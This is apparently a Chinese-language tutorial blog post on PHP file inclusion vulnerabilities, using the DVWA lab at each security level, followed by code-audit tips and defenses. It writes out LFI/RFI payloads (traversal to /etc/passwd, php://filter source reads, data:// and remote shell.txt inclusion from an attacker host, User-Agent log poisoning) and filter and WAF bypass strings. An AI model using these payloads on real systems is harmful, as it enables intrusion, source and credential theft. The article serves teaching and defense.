文件包含漏洞这几年在Web安全实战里一直没消停过从早期到处是的任意文件读取到配合日志投毒、伪协议直接打进内网这个看起来不起眼的漏洞类型实际上比SQL注入更容易被忽视但危害一点不低。我最早认真研究它是在某次代码审计的项目里开发同学随手写了个include($_GET[page])当时就感觉问题不小后来在DVWA靶场里把各种姿势完整走了一遍才算把这块吃透。这篇文章不打算讲空泛的理论直接用DVWADamn Vulnerable Web Application一个开源的漏洞演练平台的四个安全级别从Low到Impossible把文件包含漏洞的利用手法、绕过思路、防御修复完整过一遍。不管是刚入门Web安全的新手还是准备系统梳理LFI/RFI知识的进阶学习者读完都能直接上手复现后面遇到同类问题也能知道该从哪里下手。1. 漏洞原理与分类先搞清楚它为什么危险1.1 文件包含的本质一个变量被直接塞进了文件加载函数要理解文件包含漏洞先得明白开发为什么会有这种代码。很多Web应用为了提高代码复用率、实现页面模板化喜欢把某个模块的文件路径放在参数里然后由后端动态加载。比如一个新闻类的站点URL可能是index.php?pagenews.php后端逻辑就是include($_GET[page])。这种设计本身在功能上没问题问题出在开发没有对参数做任何限制于是用户就能控制这个page参数指向任意文件。PHP里常用的文件包含函数有四个include、include_once、require、require_once。它们的主要区别在于include加载失败只产生警告、脚本继续执行require失败则直接终止脚本_once后缀表示同一个文件只加载一次。但四个函数在漏洞层面没本质区别只要参数可控都存在被利用的可能。另外要特别注意文件包含漏洞里被包含的文件内容会按照PHP语法解析执行这就导致两个方向的利用思路要么包含一个里面写了PHP代码的恶意文件比如日志、上传的图片马要么通过伪协议直接把敏感文件的内容读出来。我最早入门时有个误区以为文件包含漏洞只能读文件后来才意识到它的真正危险在于“代码执行”。只要你能控制被包含的文件内容哪怕这个文件后缀是.txt、.jpg、.log只要内容里混入PHP标签它就会被当作PHP代码执行。这也是日志投毒、图片马这类攻击手法能成立的根本原因。1.2 本地文件包含LFI与远程文件包含RFI的区别文件包含漏洞按被包含文件的来源分为本地文件包含和远程文件包含。本地文件包含LFI是攻击者把服务器本地的文件路径传给包含函数典型目标是读取/etc/passwd、数据库配置文件、应用源码等敏感文件。如果配合文件上传点或日志注入就能从“读文件”升级成“执行代码”。远程文件包含RFI则是让包含函数去加载一个外部URL比如http://attacker.com/shell.txt直接把恶意代码拉进来执行。RFI的危害显然更大但利用条件也更苛刻PHP默认配置里allow_url_include是关闭的很多站点的开发环境也没开放外连权限。还有一个容易被忽略的细节LFI和RFI在某些情况下可以相互转化。比如参数里写http://...时如果目标环境允许远程包含那LFI就直接变成了RFI。再比如通过data://、php://input这类伪协议本地包含也能做到“携带输入执行代码”。所以严格来说边界不是绝对的关键还是看过滤规则和PHP配置。实际测试中我一般先判断目标是否支持远程包含最简单的方法就是直接在参数里填一个外网URL看返回结果。如果不支持再退回LFI的思路读源码、读配置、找日志入口。2. DVWA靶场环境搭建本地起一个合法“练功房”2.1 DVWA是什么为什么用它来练DVWA是一个用PHP写的开源漏洞靶场专门用来练习Web安全基础漏洞涵盖了SQL注入、XSS、文件包含、文件上传、命令注入等常见类型。它最大的特点是内置了四个安全等级Low、Medium、High、Impossible同一漏洞在不同等级下过滤强度不一样非常适合用来理解“过滤规则从弱到强”的演进过程以及对应的绕过手法。我用DVWA练文件包含有个好处它的代码是公开的你可以直接打开源码看过滤逻辑然后思考为什么这种过滤能被绕过而不是黑盒瞎猜。做Web安全的人都知道漏洞利用的本质是“猜中后端逻辑”而DVWA直接把答案放在源码里给你对照学习效率高很多。2.2 三种常见部署方式与避坑细节DVWA的部署方式很多我按推荐度排序说一下自己的经验。第一种是直接用集成环境在Windows上装PHPStudy或小皮面板把DVWA源码放进网站根目录配置好数据库就能跑。这种方式适合纯新手顺手也能把PHP环境和MySQL的操作熟悉一下。需要注意的坑是PHP版本兼容性DVWA官方推荐 PHP 5.x 到 7.x太新的PHP 8.0以上有些老代码会报过时函数错误解压前先看一眼环境版本。第二种是在Linux虚拟机或Docker里部署。我个人更倾向Docker方式一条命令拉镜像环境隔离、用完就删特别适合反复折腾。常见做法是docker pull vulnerables/web-dvwa跑起来之后容器内的80端口映射到本机浏览器直接访问即可。如果拉镜像慢可以配置国内镜像加速源这个就不展开了搜一下就能找到。第三种直接把DVWA部署在云服务器上我不推荐一方面靶场带漏洞代码暴露在公网有被扫描滥用的风险另一方面很多云厂商对漏洞靶场类内容比较敏感没必要惹麻烦。练手就在本地环境折腾足够了。部署完成后需要重点确认一个地方PHP配置文件里的allow_url_include。DVWA的Medium级别测试RFI时会用到这个配置默认是关闭的需要手动打开。位置一般在php.ini里搜索allow_url_include把值改成On然后重启Web服务。修改之前建议先备份一份原配置练完再改回来避免影响其他项目。3. Low等级实战从零开始利用文件包含3.1 本地文件包含读敏感文件进入DVWA后切到File Inclusion模块默认是Low等级。先看URL结构大概是http://127.0.0.1/dvwa/vulnerabilities/fi/?pageinclude.php这种样式。这个page参数就是漏洞点。第一步验证漏洞存在把参数改成page/etc/passwdLinux环境下会直接返回passwd文件内容。如果你的DVWA跑在Windows下可以试着读C:\Windows\win.ini或者C:\boot.ini。这一步就能确认参数完全没有过滤直接拼接进了文件路径。第二步尝试目录穿越因为有些场景下应用会在参数前拼接路径比如include(inc/ . $_GET[page])。虽然Low等级没有拼接但目录穿越的思路要先建立起来。测试方式是page../../../../etc/passwd一层层往上跳。在实践中最常用的层数是3到5层取决于Web目录的深度。如果不知道当前目录在哪可以通过报错信息、页面源码中的资源路径来推断。第三步是利用PHP伪协议读源码。很多时候你想读的不是/etc/passwd而是应用自己的源码这样可以进一步挖掘其他漏洞。但直接pageindex.php会直接把源码执行掉你看到的只是渲染后的结果看不到原始代码。这时就要用php://filter伪协议pagephp://filter/readconvert.base64-encode/resourceindex.php这段的意思是用base64编码方式读取index.php的原始内容浏览器返回的是一串base64字符串解码之后就是完整源码。这个技巧在实战审计中极其常用因为拿到源码就等于拿到了整个应用的地图。php://filter的原理值得一提它本质上是PHP流封装器的一个过滤器链readconvert.base64-encode表示在读取数据时应用base64编码转换。为什么要base64编码因为如果不编码包含了PHP代码的文件内容会被解析执行返回到浏览器的是执行后的HTML完全看不到源码逻辑而base64编码后输出的是文本符号PHP解析器不会执行它源码就原样暴露了。3.2 远程文件包含RFI远程代码执行Low等级下如果allow_url_include已打开RFI的利用也很直接。先在自己可控的机器或服务器上准备一个恶意文件内容是一句话木马或者直接弹出一个phpinfo页面用于验证文件名随便起比如shell.txt?php phpinfo();?然后在目标参数里填pagehttp://your-server/shell.txt。如果目标能够解析这个URL并返回phpinfo的输出说明RFI成立。这代表什么代表你可以在目标服务器上执行任意PHP代码直接就是RCE远程代码执行。RFI的后续利用就看想象力了读数据库配置、连数据库、写WebShell、反弹Shell都能做。但从防御角度来说RFI比LFI好修得多把allow_url_include关掉就能阻断一大半的攻击面。所以我一直觉得如果站点还开着远程文件包含那基本属于最基础的配置错误代码审计时看到这种直接记高危。3.3 日志投毒把LFI变成代码执行Low等级还有一个必练的技巧叫日志投毒。它的思路是这样的你没法直接上传包含PHP代码的文件但Web服务器一定会记录访问日志日志会把User-Agent、请求路径等内容写进文本文件。如果这些内容里混入了PHP代码再通过LFI把日志文件包含进来PHP代码就会被执行。具体操作分三步。第一步先确认日志文件路径常见位置是/var/log/apache2/access.log或者用page../../../../var/log/apache2/access.log先去读一下确认Web服务确实把访问记录写在这个文件里。第二步用Burp Suite拦截请求把User-Agent改成一段PHP代码比如?php phpinfo();?然后正常发一次请求让这段代码写进日志。第三步再通过LFI访问日志文件page../../../../var/log/apache2/access.log页面会执行日志里的PHP代码返回phpinfo输出。日志投毒在实战中非常有用因为很多站点的Web目录有写入限制上传WebShell很难但日志总是可读的。需要注意两个坑一是日志文件一般很大包含进来后页面输出也很大搜索时直接用关键词匹配phpinfo的位置二是有些环境会限制User-Agent长度这时候可以把Shell拆成多段注入或者换到Cookie、请求路径等字段试试。4. Medium等级绕过看过滤规则怎么被击穿4.1 过滤规则分析它到底过滤了什么切到Medium等级后我还是用同样的手法测试发现page/etc/passwd不生效了。这时候最好的办法是打开DVWA的源码文件看过滤逻辑你会发现代码做了两件事一是把参数中的http://、https://替换成空字符串二是把../、..\替换成空字符串。这两条规则分别针对RFI和目录穿越看起来挺有针对性。但问题在替换策略本身只做了一次、非递归的字符串替换而且替换顺序是先替换协议头再替换路径跳转符。绕过方法很简单双重编码就行。因为替换是一次性的..././经过替换去掉中间的../之后剩下的../又构成了新的跳转序列。典型的Payload是page..././..././etc/passwd第一次替换把中间的../吃掉剩下的../串联起来依然能完成目录穿越。协议头过滤同理http://被替换成空后你可以写hthttp://tp://原始字符串里含一个http://被吃掉剩下的http://又成为有效的协议头。这类替换型过滤的通病就是不彻底也是代码审计里最喜欢抓的一类问题。4.2 路径深度与拼接场景的应对思路Medium等级在实际操作中还容易踩一个坑如果你只知道../需要被绕过但向上跳转的层级数不对照样读不到目标文件。我的经验是先从/etc/passwd这种绝对路径着手如果过滤规则允许绝对路径就直接读不被允许时再数层级。数层级的方法有几种一是通过报错信息判断当前工作目录二是利用php://filter读取一个绝对路径已知的文件获取源码再从源码里推断目录结构三是结合页面内的静态资源路径比如CSS、JS的引用路径会暴露Web根目录的相对深度。如果这些方法都行不通就写一个脚本循环测试1到10层../看哪一层能返回目标文件内容脚本本身不复杂但效率比手动一个个试高很多。另外要留意一个常见场景真实的业务代码里文件包含常常在拼接路径之后比如include(template/ . $_GET[page])。这时即使过滤规则不拦目录穿越你也必须带着目录前缀一起构造。Medium等级的DVWA没有这个拼接但你自己做代码审计时要多加考虑。4.3 伪协议在过滤环境下的可用性验证Medium等级过滤了协议头但php://类型的协议头并不在过滤列表里所以php://filter依然可用。这其实也说明一个规律过滤规则要覆盖所有伪协议几乎不可能所以很多防御方案干脆走“白名单后缀”路线而不是黑名单。实践时我建议把常用的伪协议在Low和Medium各验证一遍记录哪些能用哪些不能用。php://filter用来读任意文件php://input用来提交原始请求体data://用来在URL里直接携带PHP代码。data://的经典Payload是这样的pagedata://text/plain,?php phpinfo();?需要注意的是包含这一段时URL里的逗号和特殊符号要做URL编码否则有些Web容器会解析失败。实际测试时用Burp Suite的Repeater工具先编码再提交能省不少事。这里多说一句data://在PHP 5.2之后默认就是开启的所以不仅理论上成立实测中命中率也很高。5. High等级绕过黑名单白名单的攻防较量5.1 白名单机制看起来无懈可击但有疏漏High等级的DVWA文件包含模块换了一种思路不再过滤攻击特征而是只允许以file开头的文件名。比如参数必须是file1.php、file2.php、file3.php这类固定值。看起来像是搞了个白名单攻击面确实收敛很多。但白名单也有它的软肋。DVWA的High等级代码判断逻辑是如果参数是以file开头就直接include不再校验后缀。你可以构造pagefile1.php/../../../../etc/passwd因为参数以file开头通过了判断而后面的../../../../etc/passwd在文件系统解析时会把路径跳转到系统文件上。这种“前缀通过路径跳转”的组合绕过思路放到真实的代码审计场景里依然适用很多白名单校验只检查开头、不检查完整路径甚至不校验路径规范化后的结果。不过要承认High等级的绕过条件比Medium苛刻很多它必须依赖服务器对路径解析的宽松性。Windows平台下的兼容性测试尤其重要因为反斜杠、正斜杠、盘符等变化会影响最终解析结果。我在本地Linux环境验证时这个Payload是可用的但换到某些Windows环境就不一定了具体要以实测为准。5.2 High等级的误导项文件扩展名过滤的盲区DVWA的High等级还做了一个许多人初见会迷惑的配置在文件名后面强制拼接了.php后缀。也就是说你传page../../etc/passwd最终包含的是../../etc/passwd.php这个文件不存在导致包含失败。这就是文件扩展名强制附加的典型场景。绕过的方法很多最经典的是“空字节截断”。早期的PHP版本中URL里的%00会被当作字符串结束符../../etc/passwd%00.php解析时只看到../../etc/passwd后缀直接被截断掉了。但这个方法在PHP 5.3.4之后已经修复新版环境不再可行。另一个思路是使用php://filter配合扩展名比如php://filter/readconvert.base64-encode/resource../../etc/passwd最终拼接出来的../../etc/passwd.php中.php会成为资源路径的一部分但不影响filter读取目标文件。这也算一种后缀盲区的利用方式。要理解的核心是过滤规则不管多严密只要它没有完整覆盖所有输入向量就一定有绕过路径存在。这也是为什么很多安全专家倾向于从“不可控输入”角度做防御而不是堆黑名单。5.3 真实世界中的WAF绕过思路汇总High等级练完后我对绕过逻辑的理解更深了一层这也直接帮助我在真实环境中面对WAFWeb应用防火墙时更快定位问题。整理几个我常用的被测试验证过的绕过思路双写替换绕过适用于替换型过滤比如过滤../就写成....//或者..././配合原始替换规则愈合。大小写和编码变形../变成..%2f、%2e%2e%2fPHP有时会URL解码一次再交给文件系统多一层编码有时就能绕过去。路径参数设计利用/etc/passwd/.、/etc/passwd%00等方式干扰路径规范化逻辑。伪协议换路当常规路径被拦时换成php://filter、php://input、data://等协议。利用服务器差异Linux的符号链接、Windows的短文件名、IIS的路径特性等都可能扩大攻击面。绕WAF没有银弹核心还是搞清楚过滤规则是在哪一层做的、做了几次、用什么函数实现的然后再针对性构造。多拿DVWA的四个等级当靶子练习比单纯背Payload有用得多。6. 代码审计经验如何在一堆代码里快速定位文件包含漏洞6.1 危险函数与可控参数的交叉追踪做代码审计时找文件包含漏洞比找其他漏洞要快得多因为它函数特征太明显了。先全局搜include、include_once、require、require_once四个关键词把命中结果挨个看确认参数是否来自$_GET、$_POST、$_COOKIE、$_REQUEST这类用户输入或者来自数据库、文件、API接口等间接输入。可控参数不一定是直接传进来的有时是经过了编码、拼接、截断之后才进危险函数。比如某个框架把请求参数先转成小写再存入数组最后在模板渲染时取出来include新手容易漏掉这层传递链。我的习惯是对每个危险函数的调用点向上回溯所有变量来源画一条数据流草图一眼就能看出有没有外部可控的输入汇入。如果项目比较庞大也可以借助一些静态代码分析工具做自动化扫描但工具往往存在误报和漏报最终判断还是得靠人工确认。尤其是在没有IDE提示的环境里grep -rn include配合代码量阅读是最高效的组合。6.2 审计中容易被忽略的三个盲区第一类是框架自带的路由加载机制部分框架会把控制器路径、模板路径也设计成参数如果框架本身对路径校验不严任意文件包含就可能出现在框架层影响所有业务。第二类是文件包含常常隐藏在第三方插件、主题引擎里业务代码本身很干净但插件一更新就带进来漏洞。第三类是动态语言中常见的“变量函数”调用比如$func $_GET[f]; $func($file);虽然这里不是经典的文件包含函数但同样可能被导向include等函数审计时要注意这类间接调用。我个人在实战项目里遇到的真实漏洞很多就是从这几个盲区里翻出来的单靠搜索引擎和工具扫描根本发现不了。7. 防御方案落地从代码修复到运营排查7.1 最有效的三层修复策略防御文件包含漏洞我把它拆成三层来落地每一层都有明确的动作。第一层是从源头掐断用户对文件路径的控制。如果业务必须传文件名那就用白名单映射在代码里维护一个固定数组比如[news news.php, about about.php]参数传进来后查表查不到就返回默认页绝不直接把参数拼进include。这是最推荐的做法几乎没有绕过的空间。第二层是系统加固。PHP环境把allow_url_include设为Offallow_url_fopen如果业务不需要也可以关掉。同时用open_basedir限制PHP能访问的目录范围把Web目录以外的系统文件全部隔绝开。这样即使代码层面存在LFI攻击者能读到的文件也被限制在固定目录里危害大幅下降。第三层是路径规范化校验。对每个传入的路径先做一次绝对路径解析比如realpath()再判断解析结果是否在允许的目录前缀内。这一步能有效拦截../目录穿越原理是把相对路径和跳转都消除后剩下的就是真实路径拿真实路径去比对白名单攻防逻辑就清晰了。7.2 修复代码示例与PHP配置示例给一段可以直接抄的防御代码基于白名单加路径校验的思路?php // 1. 白名单映射 $allowedPages [ home home.php, news news.php, about about.php, ]; $page $_GET[page] ?? home; // 2. 查表不在白名单内走默认页 if (!isset($allowedPages[$page])) { $page home; } // 3. 加载前做realpath校验确认在允许目录内 $allowedDir realpath(__DIR__ . /pages/); $target realpath(__DIR__ . /pages/ . $allowedPages[$page]); if ($target false || strpos($target, $allowedDir) ! 0) { http_response_code(404); exit(Not Found); } include $target; ?PHP配置这一块重点加几个参数; 禁止远程包含和远程打开文件 allow_url_include Off allow_url_fopen Off ; 限制PHP可访问目录 open_basedir /var/www/html/:/tmp/ ; 关闭危险函数 disable_functions system, exec, shell_exec, passthru, popen, proc_openopen_basedir的路径分隔符在不同系统下有区别Windows用分号、Linux用冒号踩过坑的同学应该记得配置完后要重启PHP服务并验证一下实际效果确保配置真的生效而不是写错了。7.3 上线前与上线后的排查清单上线前重点排查代码中所有危险函数和参数拼接至少用工具扫一遍再加人工审计。检查PHP配置中allow_url_include、open_basedir是否按生产环境标准设置确认Web目录没有可写的便捷入口。上线后要建立日志监控重点关注URL参数中出现../、php://、data://、http://等特征的访问请求以及非正常的404日志和访问日志中的特殊User-Agent。再有就是周期性做一次漏扫或者人工复测确认修复之后老漏洞没有回归。这一条不能省代码维护过程中很容易把旧的危险写法带回来。8. 从DVWA到实战文件包含漏洞的排查手段与学法进阶8.1 一套万能的文件包含漏洞排查流程结合我在多个真实项目里的排查经验整理一套可复用的流程不管目标是老旧系统还是新框架基本都能用得上。第一步收集参数点。把所有入口参数列出来特别是带page、file、path、template、include、load这类关键词的参数这类命名几乎就是把漏洞写在脸上。第二步特征试探。在参数里输入不存在的路径观察返回的报错信息。如果出现文件路径泄漏说明PHP开启了错误显示对后续利用帮助极大。第三步读文件验证。用/etc/passwd、C:\Windows\win.ini这类时间戳稳定的文件确认LFI是否存在。注意读取时尽量用绝对路径先排除目录穿越的干扰因素。第四步尝试升级利用。依次测试伪协议读源码、日志投毒、远程包含直到拿到代码执行权限或确认无法提升危害。第五步整理证据链。截图、抓包、保存请求响应把漏洞的触发条件和影响范围写清楚这一点在做渗透测试报告时尤其重要甲方最关心的是漏洞能造成什么影响而不是Payload多花哨。8.2 学习路径建议与日常环境维护如果想系统掌握文件包含这块我的建议是按“原理理解 → 靶场练习 → 源码审计 → 实战验证”的顺序来。原理理解靠这篇文章和官方文档就够了靶场练习就是把DVWA的四关全部打通源码审计选一个真实开源项目练手实战验证可以在授权前提下或自己的项目里做不要拿别人网站练手既违法又没意义。每次练完一个Payload我建议花两分钟记录一下这个Payload利用了哪条过滤规则的哪个缺陷如果让我来修怎么堵上这个思路对其他漏洞类型有没有启发坚持一段时间你的绕过思路会明显比只刷Payload的人灵活很多。日常维护本地靶场时备份一份DVWA的原始配置和源码目录改坏了可以直接恢复。Docker环境更简单重建容器最快。虚拟机的话建议在配置好环境之后做一次快照后面随便折腾也不用担心环境搞坏。8.3 我在实际项目里遇到的一次印象深刻的LFI某次授权测试项目里某个内部系统的URL长这样main.php?langcn我一开始没注意后来发现不同语言切换会加载不同语言文件于是试着把lang参数改成../../../../etc/passwd直接就读出来了。这个案例和DVWA里的Low等级如出一辙参数名、代码逻辑都很直白说明经典漏洞在现实中依然大量存在。后来帮对方修复时我没有只打个补丁而是直接把“语言选择”改成了下拉框提交固定ID后端映射到写死好的语言包路径彻底去掉了外部输入进入文件路径的可能性。这个思路值得参考修复文件包含漏洞优先考虑从功能设计上取消用户对路径的控制权而不是依赖层层过滤。在DVWA里练熟这些手法之后还有个小技巧值得分享尝试自己写一个带文件包含漏洞的简单应用然后从攻击者和防御者两个角度反复折腾它。攻击时思考怎么绕过防御时思考怎么修复这样来回切换视角理解和记忆都会深很多比单纯把DVWA的Payload背下来有用得多。